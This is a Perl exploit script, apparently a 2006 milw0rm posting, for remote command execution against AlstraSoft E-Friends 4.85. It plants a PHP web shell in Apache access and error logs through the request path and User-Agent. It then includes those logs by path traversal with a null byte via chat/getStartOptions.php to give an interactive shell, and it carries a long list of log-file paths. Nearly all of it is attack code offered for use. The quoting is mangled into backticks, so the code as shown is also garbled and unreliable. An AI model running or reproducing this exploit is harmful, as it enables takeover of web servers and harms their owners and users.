AlstraSoft E-Friends <= 4.85 Remote Command Execution Exploit#!/usr/bin/perl
#
# AlstraSoft Efriends 4.85 Remote Command Execution Exploit
# Site : http://www.alstrasoft.com/efriends.htm
#
# Coded by Kw3[R]Ln from Romanian Security Team a.K.A http://RST-CREW.NET
# Contact: ciriboflacs@yahoo.com or kw3rln@rst-crew.net
#
# PS: fuck CarcaBot ..another lame romanian guy=))


use IO::Socket;
use LWP::Simple;

#ripped from rgod
@apache=(
`../../../../../var/log/httpd/access_log`,
`../../../../../var/log/httpd/error_log`,
`../apache/logs/error.log`,
`../apache/logs/access.log`,
`../../apache/logs/error.log`,
`../../apache/logs/access.log`,
`../../../apache/logs/error.log`,
`../../../apache/logs/access.log`,
`../../../../apache/logs/error.log`,
`../../../../apache/logs/access.log`,
`../../../../../apache/logs/error.log`,
`../../../../../apache/logs/access.log`,
`../logs/error.log`,
`../logs/access.log`,
`../../logs/error.log`,
`../../logs/access.log`,
`../../../logs/error.log`,
`../../../logs/access.log`,
`../../../../logs/error.log`,
`../../../../logs/access.log`,
`../../../../../logs/error.log`,
`../../../../../logs/access.log`,
`../../../../../etc/httpd/logs/access_log`,
`../../../../../etc/httpd/logs/access.log`,
`../../../../../etc/httpd/logs/error_log`,
`../../../../../etc/httpd/logs/error.log`,
`../../.. /../../var/www/logs/access_log`,
`../../../../../var/www/logs/access.log`,
`../../../../../usr/local/apache/logs/access_log`,
`../../../../../usr/local/apache/logs/access.log`,
`../../../../../var/log/apache/access_log`,
`../../../../../var/log/apache/access.log`,
`../../../../../var/log/access_log`,
`../../../../../var/www/logs/error_log`,
`../../../../../var/www/logs/error.log`,
`../../../../../usr/local/apache/logs/error_log`,
`../../../../../usr/local/apache/logs/error.log`,
`../../../../../var/log/apache/error_log`,
`../../../../../var/log/apache/error.log`,
`../../../../../var/log/access_log`,
`../../../../../var/log/error_log`
);

print `[RST] AlstraSoft Efriends 4.85 Remote Command Execution Exploit\n`;
print `[RST] need magic_quotes_gpc = off\n`;
print `[RST] c0ded by Kw3[R]Ln from Romanian Security Team [ http://rst-crew.net ] \n\n`;


if (@ARGV < 3)
{
    print `[RST] Usage: efriends.pl [host] [path] [apache_path]\n\n`;
    print `[RST] Apache Path: \n`;
    $i = 0;
    while($apache[$i])
    { print `[$i] $apache[$i]\n`;$i++;}
    exit();
}

$host=$ARGV[0];
$path=$ARGV[1];
$apachepath=$ARGV[2];

print `[RST] Injecting some code in log files...\n`;
$CODE=`<?php ob_clean();system(\$HTTP_COOKIE_VARS[cmd]);die;?>`;
$socket = IO::Socket::INET->new(Proto=>`tcp`, PeerAddr=>`$host`, PeerPort=>`80`) or die `[RST] Could not connect to host.\n\n`;
print $socket `GET `.$path.$CODE.` HTTP/1.1\r\n`;
print $socket `User-Agent: `.$CODE.`\r\n`;
print $socket `Host: `.$host.`\r\n`;
print $socket `Connection: close\r\n\r\n`;
close($socket);
print `[RST] Shell!! write q to exit !\n`;
print `[RST] IF not working try another apache path\n\n`;

print `[shell] `;$cmd = <STDIN>;

while($cmd !~ `q`) {
    $socket = IO::Socket::INET->new(Proto=>`tcp`, PeerAddr=>`$host`, PeerPort=>`80`) or die `[RST] Could not connect to host.\n\n`;
    
    print $socket `GET `.$path.`chat/getStartOptions.php?lang=`.$apache[$apachepath].`%00&amp;cmd=$cmd HTTP/1.1\r\n`;
    print $socket `Host: `.$host.`\r\n`;
    print $socket `Accept: */*\r\n`;
    print $socket `Connection: close\r\n\n`;    
    
    while ($raspuns = <$socket>)
    {
        print $raspuns;
    }
    
    print `[shell] `;
    $cmd = <STDIN>;    
}

# milw0rm.com [2006-09-18]